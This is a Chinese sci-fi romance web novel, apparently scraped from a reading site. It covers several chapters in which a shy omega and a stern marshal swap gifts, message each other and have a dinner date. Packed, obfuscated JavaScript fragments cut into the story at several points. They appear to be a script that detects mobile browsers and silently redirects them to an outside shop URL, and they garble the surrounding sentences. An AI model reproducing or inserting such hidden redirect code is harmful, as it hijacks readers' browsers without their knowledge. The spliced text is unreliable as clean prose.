他尽可能隐蔽又快速地后退两步,想要远离危险源,却惊恐又绝望地发现,元帅只走一步,居然比他退两步还要大! 他们的距离,比刚才更近了! 云满眼前一黑。 他努力想要稳住声音,可是开口时还是忍不住发抖:“对不起对不起我不是故意来打扰您的但是百分百匹配度没办法直接单方面取消匹配而且我听说您的精神海……” 看起来好像真的要哭了。 边叙从来没碰到过这种事情,向来没什么情绪的眸中难得闪过一丝茫然,他下意识地抬了下手。 谁知这动作让云满更应激了,他看着离自己越来越近的刀,血腥气扑面而来,吓得魂都要飘走了。 “对不起呜我不是对您心存不满我是说、我是说如果非要结婚的话您,您能考虑一下入赘吗?” 边叙:“……嗯?” 云满:“!!!” 他在说什么啊!!! 云满恨不得一头撞死在元帅的刀上算了,可是悄咪咪看了眼那锋利的刀刃,他又怂怂地缩了缩脖子,垂死挣扎:“不不不我的意意意意思是——” “我考虑一下。” “——其实我很好说话的而且也很胆小如果您对这场匹配或者对我有什么不满都可以直接说的我们完全可以温柔地商……诶?” 过了好几拍,云满才终于意识到,面前的alpha说了什么话。 一时间,他只觉得自己幻听了,呆呆愣愣地仰起头,望着边叙。 边叙忽然注意到,这个omega眼睫毛很长。 泪珠盈在上面,微微颤动着,像是被压住翅膀的蝴蝶。 他鬼使神差地回答了眼前人的话:“没有。” “唔?” 云满懵懵的。 话已经出口,更何况眼前的omega看起来脆弱到捏一把就可以哭三天的样子。 边叙很平静地重复道:“没有不满。” 云满眼睛睁得圆溜溜的,有些犹豫,还想要再问,可又害怕元帅会对他再三的追问不耐烦,思索了片刻,目光忽然落在元帅的刀上。 如果不是对他有不满…… 在冷静下来后,云满忽然想通了,他试探着问元帅:“您来这里,是有要事做吗?” 要事? 也算吧。 边叙颔首。 云满不动声色地松了口气——不管怎么样,让他跟一个提着刀还满身是血的alpha单独相处,还是太为难他了! 他几乎是迫不及待地告别:“那您快去忙吧,我先回去了。” 边叙默不作声地点了下头。 云满又松了口气,转身就想跑,可动作间却被什么东西碰了下小腿。 他下意识低头。 ……礼物还没送出去。 这个事实让云满身子微僵,他闭着眼给自己打了两秒气,祈祷着元帅已经走了。 ——反正他步子那么大,动作也那么快,已经走没影是很合理的事情吧! 但云满的希望落空了。 边叙仍站在原地,提着那把刀,神色冷淡。 呜…… 好凶。 云满慢吞吞挪了两步,重新站回元帅面前,两手捧起猫猫礼盒,小小声道:“这个是我亲手准备的礼物……” 纯白色的四方盒子,正面印着一只略显不安的猫猫,乖巧地蹲在原地,就跟他的主人一样,正仰着脸看着自己。 边叙看了两秒,选择用干净的那只手接过礼物,嘴唇微微动了一下。 道谢这个举动对他来讲实在有些陌生,那两个字在唇齿间打了个转儿,还没来得及出口,就见眼前人笑了。 还很稚嫩的omega,笑起来也柔软极了。 “谢谢您……还有,” 细声细气的。 “您能不能把我从黑名单里拉出来……” 云满有点不好意思,觉得自己这样实在是太得寸进尺了,也怕元帅生气,说完这句话他就迅速找补道:“当然不拉出来也没关系的总之我先回去了——” 边叙站在原地,看着omega的背影消失在楼梯拐角。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032402|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> - 后花园某处角落,砰的一声响,副官单手将嫌犯按在地上,另一只手不知从何处摸来一捆铁索,迅速将人捆起来。 那人还不太服气,挣扎着要反抗,却奈何身受重伤,被副官轻松压制。 “别动别动,不然你这条胳膊可也得断咯。” 副官站起身拍拍手上的脏,满意地看着眼前的粽子,自言自语道:“你是哪方派来的人?嗯……是人类还是虫子?” 说着,他凑近了点,仔细打量着那人的眼睛,无果。 副官便放弃了研究,看着那人又开始挣扎,随手拎起铁索的另一头,“放轻松啦,告诉你个好消息,我们元帅现在的心情应该还不错……呃。” 副官刚转过身,就发现自家元帅正倚着墙,不咸不淡看着他。 被抓了个正着。 而且看上去实在不像是心情不错的样子。 副官头皮一炸,轻咳一声,装出正经的模样,“报告元帅,嫌犯悉数落网,我方无伤亡!” 边叙没回话,只是盯着副官打量了十几秒。 副官背上都渗出一层冷汗,好在元帅没多说什么,淡淡移开眼,“走吧。” 他麻溜地应一声,拎着地上那人就走。 最开始还有点心惊胆战,但发现这一路上元帅都没吭声,他才放了点心。 找到飞行器后,随手将人往上面一丢,上锁。 他开了前门坐上去,刚准备启动飞行器,身旁就传来幽幽一声:“军部跟协会做了什么交易?” 副官被吓了一跳,好在飞行器有自动驾驶模式,他手疾眼快设置了目的地后,硬着头皮转身,“没有。” 边叙皱眉,道:“别牵扯到无辜的人。” 副官一听就知道元帅在想什么了。 肯定是觉得那个omega是被强迫的。 他有点无奈。 “如果说是上一任协会会长,那还有些可能,但鸾会长的话,您应该也听过他的名声。” 副官举例:“之前第二军团那位,第一次跟omega见面的时候稍微凶了一下,把人吓得掉了两滴眼泪,就被鸾会长直接杀上门去,军部再三阻拦也没拦住,直接把那次匹配取消了。” 边叙抿了下唇,没说话。 飞行器内一片压抑的沉默,副官眼神乱瞟,忽地发现元帅身旁居然放了个白色的猫猫礼盒。 他不由咋舌,觉得这东西跟元帅风格相差太大了。 是那个omega给的? 也不知道元帅到底怎么想的。 副官胡思乱想之际,飞行器缓缓落地。 他将后边那人拎起来,正准备跳下去,一回头却发现元帅正八风不动坐在原处,犹豫片刻,“您是直接回家吗?” 得到肯定的答复后,副官又试探着朝猫猫礼盒伸手,“我帮您把这个扔了去?” 指尖还没来得及碰到礼盒,副官便觉背后倏地一凉。 他抬头,果然发现元帅正冷冷盯着自己,深灰色的眼里看不出情绪。 副官讪讪收回手,嘟哝了一声:“我还以为您不喜欢……” 话音还没落,副官便果断地跳下去,避免了被元帅踹下去这一悲惨结局。 底下来接应他的是另一位同僚,他将铁索以及捆着的人交到对方手上,笑嘻嘻打了个手势。 “这事,我觉得妥了!” 5. 加上好友了! 云满一路加速,最后几乎可以说是跑回二楼的。 停下来时,他还有点惊魂未定,心跳声扑通扑通的,他心有余悸,抬手摸了摸脸,感觉到了脸颊的热意。 他靠着门,想缓解一下自己过于紧张的情绪,眼前却忽然凑过来一张脸。 是许怀安。 “感觉怎么样?” 云满又有点害羞了,他抬起头转了一圈儿,发现不知何时,二楼的房间里居然只剩下他跟许怀安两个人了。 许怀安看出他的疑惑,笑眯眯解释道:“他们都去找自己的alpha了。说起来,这还是AO成功会面最多的一届相亲宴。” 发现周围没什么人,云满放松了点,他看着眼前的omega,犹豫着点了下头。 还可以……就是比他想象中恐怖了亿点。 QAQ。 他真的很怀疑,元帅是否愿意接受他的治疗…… 许怀安却误解了他的意思,凑过来拉着他坐到沙发上,将小羊塞进他怀里,然后打开当下最火的新剧《霸道omega狠狠爱》,“那就好,我就说嘛,没有alpha能拒绝你的!” 云满忧心忡忡地开始看剧。 …… 考虑到omega们脆弱的身体素质,晚宴结束得很早。 在十一点前,omega们都被送回了各自的房间。 自从分化以后,云满便长居隶属于协会的浮空岛,有一个漂亮的小院子,以及一个装饰得十分温馨的小房间。 地上铺满了柔软的白色地毯,床边还特意多放了一层,滚着毛边,软乎乎又毛茸茸,有时候云满懒得上床了,会直接蜷在这里午休。 床上则堆满了各式各样的毛绒玩偶,有些是他自己买的,更多则是生日时兄长朋友送的,都被珍稀地放在床上,陪伴云满一个又一个夜晚。 小窗紧挨着床,轻飘飘的纱质窗帘遮住了其后特意砌的飘窗,而窗外则是明媚又漂亮的小花园,也是云满一点点布置打理的。 而现在,房间的主人正抱着一只随手从床上扯来的小熊,从床的这一头滚到那一头,再从那一头滚到这一头。 ——就在半个小时前,他十分警惕地刷着光脑时,聊天列表突然弹了一条提示。 元帅把他从黑名单里拉出来,并通过他的好友申请了! 其实按他本来的生活习惯,十一点半就该睡觉的,但是他一边回想着今天跟元帅的见面瑟瑟发抖,一边又畅想着《霸道omega狠狠爱》下一集的内容,动作稍微磨蹭了点。 好了,这下好了! 不用睡觉了! 云满翻来覆去滚了半个小时,都没想好第一条到底该给元帅发什么消息。 您好?会不会太冷淡了点。 自我介绍?可是见面的时候已经说过了,这样会惹人烦的吧? ……要不还是假装自己睡着了吧,留给明天的自己去苦恼。 越想,云满就越心动,做贼一般快速把光脑塞到枕头底下,趴到枕头上,尝试催眠自己忽略这件事直接入睡。 但这太难了。 云满悲哀地发现自己根本无法放空大脑,刚想要掏出光脑,却忽然发现枕头在震。 ! 元帅给他发消息了?! 云满惊得差点又滚到地上去,连忙抽出光脑打开聊天框,入眼的是一只很可爱的猫猫。 漂亮的小猫睁着水润润的大眼睛,无辜地抬头看着人类,小爪子还搭在人类的膝盖上。 底下还配了一行大字:【猫猫很担心你】 非常可爱。 如果这不是云满前两天才收入囊中的表情包,并且大字底下还有三个小字是【的脑子】,那就更好了!! 云满只觉得脑瓜子嗡嗡响,手忙脚乱地切回设置界面,狠狠一戳关掉了“无接触操纵模式”! 然后,他安详地躺回床上,双手合十放在胸口,就当自己已经死了。 三秒后。 云满掀被而起,抓过光脑,以一种破釜沉舟的决心与勇气,悄咪咪睁开一条缝去瞟元帅的回复。 ……一个问号。 云满重新躺回去了。 要不还是明天去找鸾会长吧,直接换下一个匹配对象。 或者去找元帅赔礼道歉然后撞死在那把刀上,那么多血,应该也不差他一个。 云满乱七八糟地想着,就察觉胸口放着的光脑忽然又震了一下。 这次不会是两个问号吧? 还是一把带血的刀? 呜呜……他真不是故意的。 云满哭丧着脸点开屏幕,却意外地发现元帅发了一份文档过来。 他思考了足足三十秒这玩意儿可能是什么东西,想不出来,遂放弃,直接点开,快速浏览,然后更意外地发现,这居然是一份体检报告。 【姓名:边叙 性别:男性alpha 年龄:29 …… 精神力评级:A+ 精神海状况:二级损伤 ……】 云满盯着精神力那两栏琢磨了好久,没研究明白。 以他这么久来听到的消息,他一直觉得元帅的精神海损伤最低也是四级起步,甚至是恐怖的五级。 要知道,三级就足够一个心智坚定的alpha痛不欲生,在易感期或者是其他情绪波动时,更是需要进入特制的房间,以免造成过大的损失。 在经历长久的折磨后,那些alpha往往会选择安乐死。 而二级损伤则多出现在那些在前线多年都没匹配到omega的alpha身上,在一些药物以及特制的安抚剂帮助下,他们往往可以度过一个还算舒适的晚年。 云满有些不太明白,目光移了下,落在精神力等级那一行上。 嗯?他记得,官方档案上元帅的精神力等级应该是S+才对。 ——帝国成立这么多年以来,第一个S+精神力的战士。 云满想不通,他觉得头好痛,又突然意识到自己已经盯着这份档案研究了十几分钟,一直没回复元帅。 他慌忙切换到聊天界面,可是盯着空荡的聊天框,他又一次陷入沉思。 他明白元帅的意思,大概是在回他误触的表情包。 而看这份方案,元帅目前的身体情况应该还好,所以是不需要他担心的意思——但是,元帅什么也没说啊。 那他回什么? 知道了?这也太冷漠了。 注意身体?会不会太官方了? 他又开始纠结了。 与此同时,元帅府邸。 边叙结束了一天的工作,关了灯,任由银色的月光洒落在桌前。 他安静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032403|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在那里,望着月光,不知在想什么。 ——他其实相信副官的话,毕竟鸾会长的作风有目共睹。 况且他在后来又想起,那个小omega与皇帝同姓氏,而皇帝也确实有一个omega弟弟。 他打开光脑,将已经拉黑的匹配局拉出来,一条条查看,发现在几天前,匹配局确实通知了他这件事。 百分百的匹配度…… 边叙无意识地屈指,轻轻敲着桌面,脑海中又一次浮现出omega水色氤氲的那双眼。 要是拒绝了,肯定会直接哭出来吧? 他觉得有点头痛。 真是麻烦又娇贵的omega。 光脑震了一下,他垂眼看过去,发现omega也给他传了一份文档过来。 【姓名:云满 性别:男性omega 年龄:18 …… 精神力评级:S(可成长) ……】 最底下还有一行大字标红:【腺体未发育成熟,不可标记!】 边叙只掠过几眼,便重新将目光放在了“年龄”那一栏。 他觉得头更痛了。 退出文档后,他才发现文档后面还跟了一个表情包。 猫猫收回了放在人类腿上的手。 【猫猫很放心你~】 他盯着那只猫,忽然想起云满今日送他的礼物,也是用猫元素的礼盒装着。 精神体拟态是猫咪吗? 猫咪的话……也许会喜欢那个东西。 礼尚往来,边叙迅速决定好了下一次见面时给云满带的礼物。 先回礼再拒绝,应该就不会哭了……吧? 他看了眼时间。 凌晨一点半了。 他道:【很晚了,睡吧。】 顶上昵称后立刻出现一行小字:【对方正在输入中】,在两秒后消失,又在三秒后重新出现。 边叙耐心地等了几分钟,最终,对面只发了一个“晚安”的表情包。 晚安。 他放下光脑,起身去书房准备下次见面的礼物。 他长居边星,也没什么爱好和物欲,军饷大都补贴给了受伤的部下。 而他少年时期家乡被虫潮覆灭,也没能留下什么东西。 这座府邸里真正属于他的东西少得可怜,基本皇帝给他时是什么样,现在就还是什么样。 也因此,他很轻易就翻出了自己几年前存放在这里的东西。 有恒温控风系统,那东西并没有落灰,运行时也一切正常,他大概检查了一下,便随手放在书桌上。 周身寂静无声,可边叙却忽然转头,眼角余光处有一抹银白闪过,也像是错觉。 他皱起眉。 后山某处黑暗的角落里,一双绿森森的眼幽幽亮起。 那双眼谨慎地打量着眼前的猎物,。 粉嫩嫩的奶油三角耳,圆滚滚的蛋糕脑袋,还有巧克力浇成的“w”形状的嘴。 耳朵中间还顶了一个不知道什么材质的小板子,上书“祝您身体健康”几个字。 但那双绿眼睛看不懂,只觉得那是一堆莫名其妙的黑线条,犹豫了不到三秒,还是无法抗拒蛋糕诱人的奶油气味之下,不知何处来的浅淡橘子香,啊呜一口,连装饰带猫猫头,都一口吞进了肚子里。 6. 大直A 云满盯着元帅发过来的“睡吧”两个字,纠结了好半天要不要去关心一下元帅几点睡觉。 但他写写删删,最后还是觉得自己跟元帅没那么熟,于是发了个表情包,忧心忡忡入睡。 结果第二天一睁眼,迷迷糊糊摸过来光脑打开,一眼就给云满吓醒了。 在他发完晚安的半个小时后,元帅居然还给他发了一条消息。 【军部已经跟协会商量好了,今天下午五点我们再见一面。】 下午五点…… 云满的目光发飘,飘到屏幕右上方。 很好,现在已经十二点半了。 还有四个半小时。 ……怎么没人来叫醒他。 小殿下心情沉重地扔开光脑,慢吞吞爬起来穿上鞋,然后火速冲进浴室洗漱,洗漱完随手塞了两口面包,又立刻冲进衣帽间开始挑衣服。 衣服挑了快半个小时,云满又开始发愁给元帅带什么礼物比较好。 蛋糕的话,完全来不及做了。 而且,在这件事情上,云满还是有点私心的——最开始学做蛋糕,还是因为他自己嘴馋,但是协会又严格控制omega的饮食。 于是他就借着要学烘焙这个借口,悄咪咪偷吃了不少。 但最后被鸾会长发现,无情地勒令他一个月内必须出成果,他这才开始认真学。 后来也逐渐乐在其中了。 可是,万一元帅也觉得蛋糕好吃,之后每次都跟他抢,或者压着他,让他每天都做,那怎么办。 云满为着完全没影的事担忧了好半天,同时心不在焉地扒拉着自己的小藏宝箱。 有个小东西掉了出来。 他定睛一看,是一个银叶标本制成的书签,也可以改成小挂饰。 云满动作一顿。 他记得这东西…… 在几年前,他第一次上alpha生理课时。 这是所有omega的必修课,大多数的omega都心软又善良,在了解过alpha为了保家卫国所付出的所有代价、从前线归来后会遭受的所有折磨后,哪怕匹配到并不合自己心意的alpha,也不会太过决绝地拒绝对方。 或是同意匹配,或是同意给出自己的信息素、眼泪甚至发情期时的体.液,来帮助alpha度过太过难捱的易感期。 那时,看着光幕上一张又一张的图片,大多数omega都湿了眼眶,云满也想了很多。 他想到自己的父亲,alpha并不被允许登上帝位,于是父亲在兄长出生后,便遵循alpha的职责,远赴边星,最终死在一次虫潮之中。 他也想到了自己未来可能匹配到的alpha。 不论对方是谁,对方一定都是镇守边星的大英雄,就像他父亲一样。 那时还年幼的云满抱着这样的想法,在一众小omega们压抑的哭声中,轻轻捡起了从窗外飘落在他书桌上的银叶。 如今协会各处都很常见的银叶树,在帝国刚建立时,也一度陷入灭种的绝境。 他将那片银叶夹在了书中,并在后来将其制成了一个小小的书签。 云满忽然觉得,自己找到了最合适的礼物。 - 四个小时转瞬即逝。 在相亲宴过后,如果omega没有表露出拒绝的态度,那么alpha便会向协会递交申请,协商第二次见面。 第二次见面是在协会经营的某间餐厅,不接外客,只接待刚被匹配到一起的AO。 工作人员也都是协会抽调过去轮班的,熟悉的人可以有效缓解omega的紧张。 云满提前半个小时出门,乘着飞行器远远望见了那间矗立在云中的花园。 走近了,才能发现那些姹紫嫣红的花都是采用投影技术来欺骗人眼,而真实的餐厅则是一个柔软的环形,在半空中缓缓转动着,表面是透明的,一眼可以望到底下流动着的云朵。 飞行器缓缓降落在环形中间的空地,云满小心翼翼地、试探性地踩了下那片透明的“土地”。 脚刚落上去,便激起一片水波似的纹路。 AI的声音在耳畔响起:“欢迎您的到来,小殿下。” “如果不喜欢云间餐厅的装修,可以随意点击身旁,调整为绿地、海洋,或者您脑海中的任何模样。” 云满彬彬有礼道:“谢谢,不过不需要,我很喜欢。” AI笑了一声,“请跟我来吧,元帅正在等您。” 云满有点意外。 ——其实按照协会的默认规则,在AO见面时,alpha应该提前十分钟到达,而omega则应该迟到五分钟。 但他怕元帅公务繁忙,还提前了五分钟到。 他甩甩脑袋,没再多想,将礼物带上,匆匆走过去。 在刚踏进餐厅的瞬间,云满就觉得背后一寒,觉得自己好像被什么猛兽盯上了一般,警惕地抬头,发现是…… 元帅正在看着他。 ……QAQ。 他谨慎地打量了元帅片刻。 依旧是深色的军装,但看上去没有任何奇怪的濡湿,所以身上应该没有血。 手边……被桌布挡住了,可恶。 但是,他动了动鼻子。 没闻到什么奇怪的味道。 这次应该没问题。 云满放了点心,压着步子走过去,尽可能矜持地展示了一下自己今天佩戴的漂亮小胸针。 但元帅完全没注意到。 云满泄了气,乖乖地坐好,刚准备开口,发现元帅那双深灰色的眼睛又把自己盯住了。 跟元帅对视实在是一件压力很大的事情,但移开视线又太过不礼貌,云满勉强坚持了六七秒,要炸毛了。 好在餐厅工作人员见势不对,连忙开始上菜。 菜品也是军部与协会共同商定的,云满不敢看元帅,只能一个劲盯着一盘盘流水般传过来的菜,心里还惦记着omega的必修课,想了解一下自家alpha的口味。 最先被送过来的是盛着一汪碧绿池水的白盘,中心两朵玉莲幽幽绽开,露出层叠花瓣间被汤汁浇透的、淡粉色的,质地像是水晶的东西。 再一道,剔透的、来自遥远星系的漂亮花朵被特制成几近透明的模样,又被浇以金黄的糖汁,顺着花瓣缓缓往下流淌,还有一些则已经凝固,坠在花瓣之下,就像是冬天时的雾凇。 云满眼睛越来越亮。 这些都是他很喜欢,但是因为太甜所以被鸾会长严格限制摄入的菜! 他眼睛亮晶晶盯着桌子上的菜,恨不得现在就拿起筷子扑上去,同时还勉力从脑海中抽出一丝冷静,心不在焉地想着,没想到元帅跟自己口味还挺相似的诶。 他悄咪咪抬起眼,打量对面看起来凶悍又冷漠的alpha。 居然喜欢吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032404|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜的。 他像是抓住了元帅的小辫子一样,一时间只觉得两人亲近了不少,也没那么惧怕元帅了,还偷偷在心里作保证——我不会把帝国战神其实很喜欢吃甜口这件事说出去的啦! 但坐在桌子对面的元帅,心情远没有云满那么美妙了。 他盯着桌子上一大堆精致又漂亮的菜——姑且称之为菜吧,虽然在刚开始的时候,边叙还以为这是饭前的装饰品,直到他以为的“装饰品”盘踞了整张桌子。 向来没什么表情的脸上难得出现一丝僵硬。 这东西……真的能吃? 边叙十分怀疑,他低头看看那乱七八糟的东西,再抬头看看虽然还没开吃,但已经一脸满足的云满。 ……如果这些都可以吃的话,那直接吃盘子是不是更快提供能量的方式? 毕竟看起来盘子比菜的分量多多了。 他不动声色地原地思考了半分钟,而云满已经等不及了,一脸渴望祈求地看着他,边叙动作一顿,默不作声地拿起筷子。 云满眼睛又亮了。 元帅十分冷静地做了几个假动作,成功骗得很没有警惕心的omega开始大快朵颐,他观察着对方落筷的位置,也试探着夹了一筷子。 ……他面无表情地咽下去,冷静地端起水杯,尝试冲淡嘴里快把他齁死的甜味。 但云满完全没察觉到元帅之后的每次动筷都是假动作,还以为对方也很喜欢,认认真真啃了半个小时后才放下筷子,心满意足。 边叙松了口气,也跟着放下筷子。 AI适时送来餐后甜点,是云满很喜欢的青团绵绵冰。 没想到鸾会长今天这么大方! 匹配也是有很多好处的嘛。 他拿起小勺子,又开始慢慢啃,一抬头却发现对面的元帅拒绝了餐后甜点。 云满没有让别人干等自己的习惯,顿时有点坐立不安,正拼命思索着想找话题,忽然想起自己特意准备的礼物。 他手忙脚乱将小小的礼盒从口袋中取出来,踟蹰了两秒,才怯生生开口:“我给您带了礼物……” 他有点紧张,犹豫着要不要讲这个礼物的来历,却听对面人声音很沉稳道:“我也带了。” 诶?! 云满根本没期望过能从元帅这里收到礼物,也没想过会得到回应,毕竟对方一看就是《alpha说明书》上写着的那种大直A! 虽然是喜欢吃甜口菜的直A(悄悄划掉)。 他意外极了,就听元帅接着道:“是我第一次作战时,取得的战利品。” 好巧! 云满更惊喜了,他满怀期待地将礼物放在桌上,按下传送带的开关,同时快乐地开始跟元帅讲自己这个礼物的来历。 “是我十二岁那年第一次上生理课啦,当时学到了好多好多……” “我当时就觉得好难过好难过,甚至在想为什么我不是alpha,但后来觉得当omega也很好,每个性别都有自己的责任……” “其实我前几天一直很害怕,害怕您不愿意见我,害怕我没办法履行职责,但现在我明白了,您其实也是个很……” 善良很热情的alpha。 但真正热情善良且好骗的omega已经说不出来剩下的话了。 他呆呆地盯着传送带上缓缓朝自己爬过来的小型虫族,还有对方正在震动的翅膀,大脑缓缓失去思考能力。 7. 《虫族尸体加工手册》 云满深一脚浅一脚地走上飞行器,抱着怀中盒子的手颤巍巍的,目光也发飘,很明显整个人还没缓过神来。 飞行器驾驶位上正懒懒倚着一个看起来还很年轻的omega,眉眼都生得疏冷,侧眸望过来时,很容易让人想起山巅的积雪。 他盯着失魂落魄走上来的云满,眉尖微不可查地皱了下,等到人走到自己身边了,才慢悠悠开口:“不喜欢元帅了?” 云满被吓了一跳,转头一看才发现,今天来接自己的居然是鸾会长。 “没有……” 他有气无力,苦大仇深地盯着怀里的盒子——是元帅送他的礼物。 事实上,元帅似乎根本就没有“礼物是需要包装的”这一常识,直接抓着那只大虫子就放到他面前来。 太猝不及防了,而且元帅为了保持“观赏性”,还特意用机器改造过这只已经惨死的虫族尸体,让对方仍像生前一样挥动着翅膀。 云满只能表面平静内心惊恐地缓缓缩成一小团,直到发觉不对的工作人员一个箭步冲上来,哐当一下用盒子扣住虫子,然后把盒子封好,假笑着准备退回给元帅。 但把礼物退回去未免也太没有礼貌、太让人伤心了! 云满了解协会的工作人员,也知晓对方下一步会怎么做,于是在元帅发觉对方意图之前,迅速拉住工作人员,将盒子抱进怀里,磕磕绊绊向元帅道谢。 “谢谢您……这是非常特别的礼物,我一定会好好保留的……” 怀中的盒子忽然震了一下,云满心如死灰,知道应该是这虫子又在尝试起飞。 他抬头看了鸾会长一眼,又低头看看震个不停的盒子。 鸾会长也注意到这盒子了,他挑了下眉,问:“这是什么?——难道是元帅送你的礼物?” 云满有气无力点了下头。 鸾会长颇为意外,“看来军部也不全都是废物……他送的是什么?” “……是虫子。” 鸾会长:“?” 云满思考了一下,很严谨地自我纠正道:“不,准确来说,应该是虫族。” 鸾会长:“……?” 他甚至怀疑自己听错了,拿过盒子用光脑扫描过去。 然后,他看着光脑上呈现出来的虫族振翅的画面,罕见地陷入沉默。 鸾会长也开始头痛了,他放下光脑,将飞行器调成自动驾驶模式,然后指指盒子,“这东西,等下我给你销毁了?” 那怎么可以! 元帅会伤心的……吧? 云满有点心虚地移开眼,毕竟元帅看上去完全不像是会有这种细腻感情的人。 他不可避免地为鸾会长的提议心动了一秒,然后连忙掐死这个想法:“不可以不可以!” 鸾会长便不说话了,幽幽盯着云满瞧了几秒钟,才轻哼一声,伸手扯扯云满脸蛋,“云岁岁,还是长大了啊。” - 云满回到协会,又抱着那只虫子一路回到房间,并不知道此时此刻元帅已经被协会的人找上了门。 他唉声叹气地坐在桌前,很谨慎地盯着那个不停颤动的盒子,然后小心地用光脑进行扫描。 人类进入星际后,便展开了与虫族长达千年的战争,星网的资料库也一再更新。 各式各样虫族的照片迅速在光幕上流过去,因为速度太快,看起来就像是一道蓝色的流光。 三分钟后,流光缓缓停下,停留在屏幕上的,是一种名叫“侦查者”的微型虫族,底下的资料说明了对方的习性。 【微型虫族,常居地下,畏光,飞行速度极快,隐蔽性强,战斗力弱但携带神经类毒素,特征为阳光下翅膀呈现某种类玻璃质感,较为罕见,但通常担任着侦察兵的职责。每次出现必定意味着虫潮将至。】 虫潮…… 云满忽然想起自己曾经看过的元帅资料。 资料上写着,元帅出生于已经覆灭的第五星系。 他看过当年的那一段资料。 曾经的第五星系有着粉蓝色的、螺旋般的外环,仿佛一株永远不会枯萎的玫瑰,是最晚归入帝国版图的属地,在繁盛时无数人争先涌入,是帝国王冠上最明亮的珍珠。 直到十七年前,虫潮覆灭一切,他的父亲死在那里,元帅的亲人也永远留在了那里。 玫瑰凝固成僵硬苍白的塑像,是帝国至今不愿提起的伤痕。 是那一次吗? 那……应该对元帅来讲很重要吧? 十几岁的时候就经历那种事情,还把这么有纪念意义的东西送给他…… 云满只觉得心里酸酸的,指尖无意识地轻抚上盒子的表面。 然后,就被突然受惊的虫族猛烈攻击指腹! 盒子都差点被顶翻掉了!! 云满惊恐地睁大眼,大脑一片空白,一把将盒子甩进抽屉里狠狠关上。 但他真的不喜欢啊啊啊啊!!! - 在云满苦恼的同时,皇帝正坐在书房内,指尖按着刚呈上来的供词,望着坐在对面心不在焉的元帅,微微眯起眼。 他随手翻了下供词,目光凝在某一处,过了片刻才淡淡重复道:“第五星系过来的人。” 第五星系覆灭后,大多数星球都沦为死星,曾经的资源、风景,全都付之一炬,又被帝国放弃,便成为一些逃犯、星盗与赏金猎人的天堂,甚至有人说自己曾在那里看到过虫族出没。 动作不大,也勉强称得上是安分,而帝国忙于与虫族的争斗,懒得去管那一小片见不得光的东西,却没想到反而助长了对方的气焰,近年来不断试图往帝国各地塞人。 虽然都没占据什么紧要位置,也翻不出大浪,但到底惹人厌烦。 边叙没开口,坐在他身旁的副官左右看看两位,有点无奈地主动接口道:“在军部审完后,研究院的人来看过,确认那三人身上并没有任何虫族寄生过的痕迹。” 皇帝垂下眼,不知在思考什么,副官也跟着眼观鼻鼻观心,直到耳边忽然传来一声轻响。 他下意识看过去,看到边叙正心不在焉地把玩着一片银叶模样的书签。 ……? 元帅什么时候喜欢这种没用的装饰品了? 副官摸不着头脑,还想再看,却被元帅冷冷瞥了一眼,然后一翻手,将那书签藏起来了。 副官:“。” 得,他明白了。 肯定是那位给送的。 这时又听陛下开口道:“知道了,这两日霍克又得了不少花,让他陪同你去看看吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032405|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看来是有话要单独跟元帅说说了。 副官心下了然,跟着霍克走了。 书房内只剩下两人,皇帝却一点都不急,又看了几遍那供词,才终于抬眼看向边叙,“研究院同我说,你许久没去他们那边了。” ——匹配不到omega,精神海损伤又十分严重的alpha,会由研究院接手进行研究,尝试找到针对性的方法,压制精神海的疼痛。 边叙闻言,眼眸微动,他收起银叶,淡淡道:“临阵换将是大忌。” 皇帝也同样冷淡回应:“主将一个照面就精神暴动,还没跟虫族交手就死了,可就成笑话了。” 边叙沉默了两三秒,才道:“不会。” 皇帝不置可否:“这话,你留着给研究院去说吧。” - 飞行器缓缓降落在元帅府邸,启动自动停泊模式。 边叙倏地抬眼,望向某处。 一个陌生的omega正半倚着墙,目光审视般仔细打量着他。 “初次见面,”话是这么说,鸾会长却没有任何走近示好的意思,只冷淡开口:“我是岁岁的家长。” …… 是夜,一楼的窗户被无声息推开,月光下有什么一闪而过。 